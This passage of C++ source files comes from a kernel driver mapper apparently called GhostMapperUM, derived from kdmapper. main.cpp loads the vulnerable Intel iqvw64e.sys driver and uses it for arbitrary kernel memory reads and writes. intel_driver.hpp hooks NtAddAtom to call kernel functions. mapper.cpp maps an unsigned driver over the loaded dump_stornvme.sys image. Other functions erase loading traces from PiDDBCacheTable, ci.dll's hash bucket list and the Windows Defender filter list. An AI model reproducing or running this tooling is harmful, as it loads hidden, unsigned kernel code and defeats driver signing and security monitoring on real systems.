std::endl); 847 | return false; 848 | } 849 | Log(L"[+] PiDDBLock found with second pattern" << std::endl); 850 | PiDDBLockPtr += 16; //second pattern offset 851 | } 852 | else { 853 | PiDDBLockPtr += 28; //first pattern offset 854 | } 855 | 856 | if (PiDDBCacheTablePtr == NULL) { 857 | Log(L"[-] Warning PiDDBCacheTable not found" << std::endl); 858 | return false; 859 | } 860 | 861 | Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl); 862 | Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl); 863 | 864 | PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7); 865 | PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10); 866 | 867 | //context part is not used by lookup, lock or delete why we should use it? 868 | 869 | if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) { 870 | Log(L"[-] Can't lock PiDDBCacheTable" << std::endl); 871 | return false; 872 | } 873 | Log(L"[+] PiDDBLock Locked" << std::endl); 874 | 875 | auto n = GetDriverNameW(); 876 | 877 | // search our entry in the table 878 | PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp, n.c_str()); 879 | if (pFoundEntry == nullptr) { 880 | Log(L"[-] Not found in cache" << std::endl); 881 | ExReleaseResourceLite(device_handle, PiDDBLock); 882 | return false; 883 | } 884 | 885 | // first, unlink from the list 886 | PLIST_ENTRY prev; 887 | if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) { 888 | Log(L"[-] Can't get prev entry" << std::endl); 889 | ExReleaseResourceLite(device_handle, PiDDBLock); 890 | return false; 891 | } 892 | PLIST_ENTRY next; 893 | if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) { 894 | Log(L"[-] Can't get next entry" << std::endl); 895 | ExReleaseResourceLite(device_handle, PiDDBLock); 896 | return false; 897 | } 898 | 899 | Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl); 900 | 901 | if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) { 902 | Log(L"[-] Can't set next entry" << std::endl); 903 | ExReleaseResourceLite(device_handle, PiDDBLock); 904 | return false; 905 | } 906 | if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) { 907 | Log(L"[-] Can't set prev entry" << std::endl); 908 | ExReleaseResourceLite(device_handle, PiDDBLock); 909 | return false; 910 | } 911 | 912 | // then delete the element from the avl table 913 | if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) { 914 | Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl); 915 | ExReleaseResourceLite(device_handle, PiDDBLock); 916 | return false; 917 | } 918 | 919 | //Decrement delete count 920 | ULONG cacheDeleteCount = 0; 921 | ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); 922 | if (cacheDeleteCount > 0) { 923 | cacheDeleteCount--; 924 | WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); 925 | } 926 | 927 | // release the ddb resource lock 928 | ExReleaseResourceLite(device_handle, PiDDBLock); 929 | 930 | Log(L"[+] PiDDBCacheTable Cleaned" << std::endl); 931 | 932 | return true; 933 | } 934 | 935 | uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) { 936 | if (!dwAddress) { 937 | Log(L"[-] No module address to find pattern" << std::endl); 938 | return 0; 939 | } 940 | 941 | if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB 942 | Log(L"[-] Can't find pattern, Too big section" << std::endl); 943 | return 0; 944 | } 945 | 946 | auto sectionData = std::make_unique(dwLen); 947 | if (!ReadMemory(device_handle, dwAddress, sectionData.get(), dwLen)) { 948 | Log(L"[-] Read failed in FindPatternAtKernel" << std::endl); 949 | return 0; 950 | } 951 | 952 | auto result = utils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask); 953 | 954 | if (result <= 0) { 955 | Log(L"[-] Can't find pattern" << std::endl); 956 | return 0; 957 | } 958 | result = dwAddress - (uintptr_t)sectionData.get() + result; 959 | return result; 960 | } 961 | 962 | uintptr_t intel_driver::FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size) { 963 | if (!modulePtr) 964 | return 0; 965 | BYTE headers[0x1000]; 966 | if (!ReadMemory(device_handle, modulePtr, headers, 0x1000)) { 967 | Log(L"[-] Can't read module headers" << std::endl); 968 | return 0; 969 | } 970 | ULONG sectionSize = 0; 971 | uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, §ionSize); 972 | if (!section || !sectionSize) { 973 | Log(L"[-] Can't find section" << std::endl); 974 | return 0; 975 | } 976 | if (size) 977 | *size = sectionSize; 978 | return section - (uintptr_t)headers + modulePtr; 979 | } 980 | 981 | uintptr_t intel_driver::FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) { 982 | ULONG sectionSize = 0; 983 | uintptr_t section = FindSectionAtKernel(device_handle, sectionName, modulePtr, §ionSize); 984 | return FindPatternAtKernel(device_handle, section, sectionSize, bMask, szMask); 985 | } 986 | 987 | bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) { 988 | uint64_t ci = utils::GetKernelModuleAddress("ci.dll"); 989 | if (!ci) { 990 | Log(L"[-] Can't Find ci.dll module address" << std::endl); 991 | return false; 992 | } 993 | 994 | //Thanks @KDIo3 and @Swiftik from UnknownCheats 995 | auto sig = FindPatternInSectionAtKernel(device_handle, "PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx"); 996 | if (!sig) { 997 | Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl); 998 | return false; 999 | } 1000 | auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx"); 1001 | if (!sig2) { 1002 | Log(L"[-] Can't Find g_HashCacheLock" << std::endl); 1003 | return false; 1004 | } 1005 | const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7); 1006 | const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7); 1007 | if (!g_KernelHashBucketList || !g_HashCacheLock) 1008 | { 1009 | Log(L"[-] Can't Find g_HashCache relative address" << std::endl); 1010 | return false; 1011 | } 1012 | 1013 | Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl); 1014 | 1015 | if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) { 1016 | Log(L"[-] Can't lock g_HashCacheLock" << std::endl); 1017 | return false; 1018 | } 1019 | Log(L"[+] g_HashCacheLock Locked" << std::endl); 1020 | 1021 | HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList; 1022 | HashBucketEntry* entry = 0; 1023 | if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) { 1024 | Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl); 1025 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1026 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1027 | } 1028 | return false; 1029 | } 1030 | if (!entry) { 1031 | Log(L"[!] g_KernelHashBucketList looks empty!" << std::endl); 1032 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1033 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1034 | } 1035 | return true; 1036 | } 1037 | 1038 | std::wstring wdname = GetDriverNameW(); 1039 | std::wstring search_path = GetDriverPath(); 1040 | SIZE_T expected_len = (search_path.length() - 2) * 2; 1041 | 1042 | while (entry) { 1043 | 1044 | USHORT wsNameLen = 0; 1045 | if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { 1046 | Log(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl); 1047 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1048 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1049 | } 1050 | return false; 1051 | } 1052 | 1053 | if (expected_len == wsNameLen) { 1054 | wchar_t* wsNamePtr = 0; 1055 | if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) { 1056 | Log(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl); 1057 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1058 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1059 | } 1060 | return false; 1061 | } 1062 | 1063 | auto wsName = std::make_unique((ULONG64)wsNameLen / 2ULL + 1ULL); 1064 | if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName.get(), wsNameLen)) { 1065 | Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl); 1066 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1067 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1068 | } 1069 | return false; 1070 | } 1071 | 1072 | size_t find_result = std::wstring(wsName.get()).find(wdname); 1073 | if (find_result != std::wstring::npos) { 1074 | Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl); 1075 | HashBucketEntry* Next = 0; 1076 | if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) { 1077 | Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl); 1078 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1079 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1080 | } 1081 | return false; 1082 | } 1083 | 1084 | if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) { 1085 | Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl); 1086 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1087 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1088 | } 1089 | return false; 1090 | } 1091 | 1092 | if (!FreePool(device_handle, (uintptr_t)entry)) { 1093 | Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl); 1094 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1095 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1096 | } 1097 | return false; 1098 | } 1099 | Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl); 1100 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1101 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1102 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1103 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1104 | } 1105 | return false; 1106 | } 1107 | return true; 1108 | } 1109 | } 1110 | prev = entry; 1111 | //read next 1112 | if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) { 1113 | Log(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl); 1114 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1115 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1116 | } 1117 | return false; 1118 | } 1119 | } 1120 | 1121 | if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { 1122 | Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); 1123 | } 1124 | return false; 1125 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/intel_driver.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "intel_driver_resource.hpp" 8 | #include "service.hpp" 9 | #include "utils.hpp" 10 | 11 | namespace intel_driver 12 | { 13 | extern char driver_name[100]; //"iqvw64e.sys" 14 | constexpr uint32_t ioctl1 = 0x80862007; 15 | constexpr DWORD iqvw64e_timestamp = 0x5284EAC3; 16 | extern ULONG64 ntoskrnlAddr; 17 | 18 | typedef struct _COPY_MEMORY_BUFFER_INFO 19 | { 20 | uint64_t case_number; 21 | uint64_t reserved; 22 | uint64_t source; 23 | uint64_t destination; 24 | uint64_t length; 25 | }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO; 26 | 27 | typedef struct _FILL_MEMORY_BUFFER_INFO 28 | { 29 | uint64_t case_number; 30 | uint64_t reserved1; 31 | uint32_t value; 32 | uint32_t reserved2; 33 | uint64_t destination; 34 | uint64_t length; 35 | }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO; 36 | 37 | typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO 38 | { 39 | uint64_t case_number; 40 | uint64_t reserved; 41 | uint64_t return_physical_address; 42 | uint64_t address_to_translate; 43 | }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO; 44 | 45 | typedef struct _MAP_IO_SPACE_BUFFER_INFO 46 | { 47 | uint64_t case_number; 48 | uint64_t reserved; 49 | uint64_t return_value; 50 | uint64_t return_virtual_address; 51 | uint64_t physical_address_to_map; 52 | uint32_t size; 53 | }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO; 54 | 55 | typedef struct _UNMAP_IO_SPACE_BUFFER_INFO 56 | { 57 | uint64_t case_number; 58 | uint64_t reserved1; 59 | uint64_t reserved2; 60 | uint64_t virt_address; 61 | uint64_t reserved3; 62 | uint32_t number_of_bytes; 63 | }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO; 64 | 65 | typedef struct _RTL_BALANCED_LINKS { 66 | struct _RTL_BALANCED_LINKS* Parent; 67 | struct _RTL_BALANCED_LINKS* LeftChild; 68 | struct _RTL_BALANCED_LINKS* RightChild; 69 | CHAR Balance; 70 | UCHAR Reserved[3]; 71 | } RTL_BALANCED_LINKS; 72 | typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS; 73 | 74 | typedef struct _RTL_AVL_TABLE { 75 | RTL_BALANCED_LINKS BalancedRoot; 76 | PVOID OrderedPointer; 77 | ULONG WhichOrderedElement; 78 | ULONG NumberGenericTableElements; 79 | ULONG DepthOfTree; 80 | PVOID RestartKey; 81 | ULONG DeleteCount; 82 | PVOID CompareRoutine; 83 | PVOID AllocateRoutine; 84 | PVOID FreeRoutine; 85 | PVOID TableContext; 86 | } RTL_AVL_TABLE; 87 | typedef RTL_AVL_TABLE* PRTL_AVL_TABLE; 88 | 89 | typedef struct _PiDDBCacheEntry 90 | { 91 | LIST_ENTRY List; 92 | UNICODE_STRING DriverName; 93 | ULONG TimeDateStamp; 94 | NTSTATUS LoadStatus; 95 | char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers 96 | } PiDDBCacheEntry, * NPiDDBCacheEntry; 97 | 98 | typedef struct _HashBucketEntry 99 | { 100 | struct _HashBucketEntry* Next; 101 | UNICODE_STRING DriverName; 102 | ULONG CertHash[5]; 103 | } HashBucketEntry, * PHashBucketEntry; 104 | 105 | bool ClearPiDDBCacheTable(HANDLE device_handle); 106 | bool ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait); 107 | bool ExReleaseResourceLite(HANDLE device_handle, PVOID Resource); 108 | BOOLEAN RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer); 109 | PVOID RtlLookupElementGenericTableAvl(HANDLE device_handle, PRTL_AVL_TABLE Table, PVOID Buffer); 110 | PiDDBCacheEntry* LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name); 111 | PVOID ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize); 112 | 113 | uintptr_t FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask); 114 | uintptr_t FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size); 115 | uintptr_t FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask); 116 | 117 | bool ClearKernelHashBucketList(HANDLE device_handle); 118 | bool ClearWdFilterDriverList(HANDLE device_handle); 119 | 120 | bool IsRunning(); 121 | HANDLE Load(); 122 | bool Unload(HANDLE device_handle); 123 | 124 | bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size); 125 | bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size); 126 | bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address); 127 | uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size); 128 | bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size); 129 | bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); 130 | bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); 131 | bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size); 132 | /*added by herooyyy*/ 133 | uint64_t MmAllocateIndependentPagesEx(HANDLE device_handle, uint32_t size); 134 | bool MmFreeIndependentPages(HANDLE device_handle, uint64_t address, uint32_t size); 135 | BOOLEAN MmSetPageProtection(HANDLE device_handle, uint64_t address, uint32_t size, ULONG new_protect); 136 | 137 | uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size); 138 | /*added by psec*/ 139 | uint64_t MmAllocatePagesForMdl(HANDLE device_handle, LARGE_INTEGER LowAddress, LARGE_INTEGER HighAddress, LARGE_INTEGER SkipBytes, SIZE_T TotalBytes); 140 | uint64_t MmMapLockedPagesSpecifyCache(HANDLE device_handle, uint64_t pmdl, nt::KPROCESSOR_MODE AccessMode, nt::MEMORY_CACHING_TYPE CacheType, uint64_t RequestedAddress, ULONG BugCheckOnFailure, ULONG Priority); 141 | bool MmProtectMdlSystemAddress(HANDLE device_handle, uint64_t MemoryDescriptorList, ULONG NewProtect); 142 | bool MmUnmapLockedPages(HANDLE device_handle, uint64_t BaseAddress, uint64_t pmdl); 143 | bool MmFreePagesFromMdl(HANDLE device_handle, uint64_t MemoryDescriptorList); 144 | /**/ 145 | 146 | bool FreePool(HANDLE device_handle, uint64_t address); 147 | uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name); 148 | bool ClearMmUnloadedDrivers(HANDLE device_handle); 149 | std::wstring GetDriverNameW(); 150 | std::wstring GetDriverPath(); 151 | 152 | template 153 | bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) { 154 | constexpr auto call_void = std::is_same_v; 155 | 156 | if constexpr (!call_void) { 157 | if (!out_result) 158 | return false; 159 | } 160 | else { 161 | UNREFERENCED_PARAMETER(out_result); 162 | } 163 | 164 | if (!kernel_function_address) 165 | return false; 166 | 167 | // Setup function call 168 | HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 169 | if (ntdll == 0) { 170 | Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens 171 | return false; 172 | } 173 | 174 | const auto NtAddAtom = reinterpret_cast(GetProcAddress(ntdll, "NtAddAtom")); 175 | if (!NtAddAtom) 176 | { 177 | Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl); 178 | return false; 179 | } 180 | 181 | uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; 182 | uint8_t original_kernel_function[sizeof(kernel_injected_jmp)]; 183 | *(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address; 184 | 185 | static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom"); 186 | if (!kernel_NtAddAtom) { 187 | Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl); 188 | return false; 189 | } 190 | 191 | if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp))) 192 | return false; 193 | 194 | if (original_kernel_function[0] == kernel_injected_jmp[0] && 195 | original_kernel_function[1] == kernel_injected_jmp[1] && 196 | original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] && 197 | original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) { 198 | Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl); 199 | return false; 200 | } 201 | 202 | // Overwrite the pointer with kernel_function_address 203 | if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp))) 204 | return false; 205 | 206 | // Call function 207 | if constexpr (!call_void) { 208 | using FunctionFn = T(__stdcall*)(A...); 209 | const auto Function = reinterpret_cast(NtAddAtom); 210 | 211 | *out_result = Function(arguments...); 212 | } 213 | else { 214 | using FunctionFn = void(__stdcall*)(A...); 215 | const auto Function = reinterpret_cast(NtAddAtom); 216 | 217 | Function(arguments...); 218 | } 219 | 220 | // Restore the pointer/jmp 221 | return WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp)); 222 | } 223 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "utils.hpp" 5 | #include 6 | #include "AutoHandle.h" 7 | #include "mapper.h" 8 | 9 | const std::wstring DriverPath = TARGET_DRIVER_PATH; 10 | 11 | int main() 12 | { 13 | 14 | Log(L"[*] loading vulnerable intel driver\n"); 15 | HANDLE IntelDriverHandle = intel_driver::Load(); 16 | AutoHandle Autoh(IntelDriverHandle); 17 | 18 | if (IntelDriverHandle == INVALID_HANDLE_VALUE) 19 | { 20 | Log(L"[-] failed to load vulnerable intel driver\n"); 21 | return -1; 22 | } 23 | Log(L"[*] loaded vulnerable intel driver\n"); 24 | 25 | 26 | std::vector RawImage = { 0 }; 27 | if (!utils::ReadFileToMemory(DriverPath, &RawImage)) { 28 | Log(L"[-] Failed to read image to memory" << std::endl); 29 | intel_driver::Unload(IntelDriverHandle); 30 | return -1; 31 | } 32 | Log(L"[*] loaded driver image to memory\n"); 33 | 34 | 35 | 36 | if (!MapDriver(IntelDriverHandle, RawImage.data())) 37 | { 38 | Log(L"[-] Failed to map driver" << std::endl); 39 | intel_driver::Unload(IntelDriverHandle); 40 | return -1; 41 | } 42 | 43 | if (!intel_driver::Unload(IntelDriverHandle)) 44 | { 45 | Log(L"[*] failed to unload vulnerable intel driver\n"); 46 | return -1; 47 | } 48 | Log(L"[*] unloaded vulnerable intel driver" << std::endl); 49 | 50 | return 0; 51 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/mapper.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "pte.h" 5 | #include 6 | #include 7 | #include "config.h" 8 | #include "restore.h" 9 | #include "AutoFree.h" 10 | 11 | // Credit :: first 3 are kdmapper utils : ) 12 | void RelocateImageByDelta(portable_executable::vec_relocs relocs, const uint64_t delta) { 13 | for (const auto& current_reloc : relocs) { 14 | for (auto i = 0u; i < current_reloc.count; ++i) { 15 | const uint16_t type = current_reloc.item[i] >> 12; 16 | const uint16_t offset = current_reloc.item[i] & 0xFFF; 17 | 18 | if (type == IMAGE_REL_BASED_DIR64) 19 | *reinterpret_cast(current_reloc.address + offset) += delta; 20 | } 21 | } 22 | } 23 | 24 | bool FixSecurityCookie(void* local_image, uint64_t kernel_image_base) 25 | { 26 | auto headers = portable_executable::GetNtHeaders(local_image); 27 | if (!headers) 28 | return false; 29 | 30 | auto load_config_directory = headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress; 31 | if (!load_config_directory) 32 | { 33 | Log(L"[+] Load config directory wasn't found, probably StackCookie not defined, fix cookie skipped" << std::endl); 34 | return true; 35 | } 36 | 37 | auto load_config_struct = (PIMAGE_LOAD_CONFIG_DIRECTORY)((uintptr_t)local_image + load_config_directory); 38 | auto stack_cookie = load_config_struct->SecurityCookie; 39 | if (!stack_cookie) 40 | { 41 | Log(L"[+] StackCookie not defined, fix cookie skipped" << std::endl); 42 | return true; // as I said, it is not an error and we should allow that behavior 43 | } 44 | 45 | stack_cookie = stack_cookie - (uintptr_t)kernel_image_base + (uintptr_t)local_image; //since our local image is already relocated the base returned will be kernel address 46 | 47 | if (*(uintptr_t*)(stack_cookie) != 0x2B992DDFA232) { 48 | Log(L"[-] StackCookie already fixed!? this probably wrong" << std::endl); 49 | return false; 50 | } 51 | 52 | Log(L"[+] Fixing stack cookie" << std::endl); 53 | 54 | auto new_cookie = 0x2B992DDFA232 ^ GetCurrentProcessId() ^ GetCurrentThreadId(); // here we don't really care about the value of stack cookie, it will still works and produce nice result 55 | if (new_cookie == 0x2B992DDFA232) 56 | new_cookie = 0x2B992DDFA233; 57 | 58 | *(uintptr_t*)(stack_cookie) = new_cookie; // the _security_cookie_complement will be init by the driver itself if they use crt 59 | return true; 60 | } 61 | 62 | bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_imports imports) { 63 | for (const auto& current_import : imports) { 64 | ULONG64 Module = utils::GetKernelModuleAddress(current_import.module_name); 65 | if (!Module) { 66 | std::cout << "[-] Dependency " << current_import.module_name << " wasn't found" << std::endl; 67 | return false; 68 | } 69 | 70 | for (auto& current_function_data : current_import.function_datas) { 71 | uint64_t function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, Module, current_function_data.name); 72 | 73 | if (!function_address) { 74 | //Lets try with ntoskrnl 75 | if (Module != intel_driver::ntoskrnlAddr) { 76 | function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, intel_driver::ntoskrnlAddr, current_function_data.name); 77 | if (!function_address) { 78 | std::cout << "[-] Failed to resolve import " << current_function_data.name << " (" << current_import.module_name << ")" << std::endl; 79 | return false; 80 | } 81 | } 82 | } 83 | 84 | *current_function_data.address = function_address; 85 | } 86 | } 87 | 88 | return true; 89 | } 90 | 91 | 92 | bool MapDriver(HANDLE IntelDrvHandle, BYTE* RawImage) 93 | { 94 | 95 | const PIMAGE_NT_HEADERS64 NtHeaders = portable_executable::GetNtHeaders(RawImage); 96 | uint32_t ImageSize = NtHeaders->OptionalHeader.SizeOfImage; 97 | 98 | // Allocate local memory for driver image amd buffer for original driver image 99 | void* LocalBase = VirtualAlloc(nullptr, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 100 | if (!LocalBase) 101 | return false; 102 | AutoFree FreeLocalBase(LocalBase); 103 | void* OriginalMemory = VirtualAlloc(nullptr, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 104 | if (!OriginalMemory) 105 | return false; 106 | AutoFree FreeOriginalMemory(OriginalMemory); 107 | 108 | // Find kernel base of ghost driver 109 | uint64_t GhostDriverBase = utils::GetKernelModuleAddress("dump_stornvme.sys"); 110 | if (!GhostDriverBase) 111 | { 112 | Log(L"[-] failed to resolve base of ghost driver...\n"); 113 | return false; 114 | } 115 | 116 | // read original ghost driver image 117 | if (!intel_driver::ReadMemory(IntelDrvHandle, GhostDriverBase, OriginalMemory, ImageSize)) 118 | { 119 | Log(L"[-] failed to read ghost driver pte" << std::endl); 120 | return false; 121 | } 122 | const PIMAGE_NT_HEADERS64 NtHeadersGhostDriver = portable_executable::GetNtHeaders(OriginalMemory); 123 | uint32_t GhostDriverImageSize = NtHeadersGhostDriver->OptionalHeader.SizeOfImage; 124 | // make sure the target driver is small enough to fit in the ghost driver 125 | if (GhostDriverImageSize < ImageSize) 126 | { 127 | Log(L"[*] cant map over the specefied ghost driver , image size is too small" << std::endl); 128 | return false; 129 | } 130 | 131 | // copy headers of target driver to local base 132 | memcpy(LocalBase, RawImage, NtHeaders->OptionalHeader.SizeOfHeaders); 133 | 134 | // map sections of target driver to local base 135 | const PIMAGE_SECTION_HEADER CurrentSection = IMAGE_FIRST_SECTION(NtHeaders); 136 | 137 | for (auto i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) { 138 | if ((CurrentSection[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) 139 | continue; 140 | auto LocalSection = reinterpret_cast(reinterpret_cast(LocalBase) + CurrentSection[i].VirtualAddress); 141 | memcpy(LocalSection, 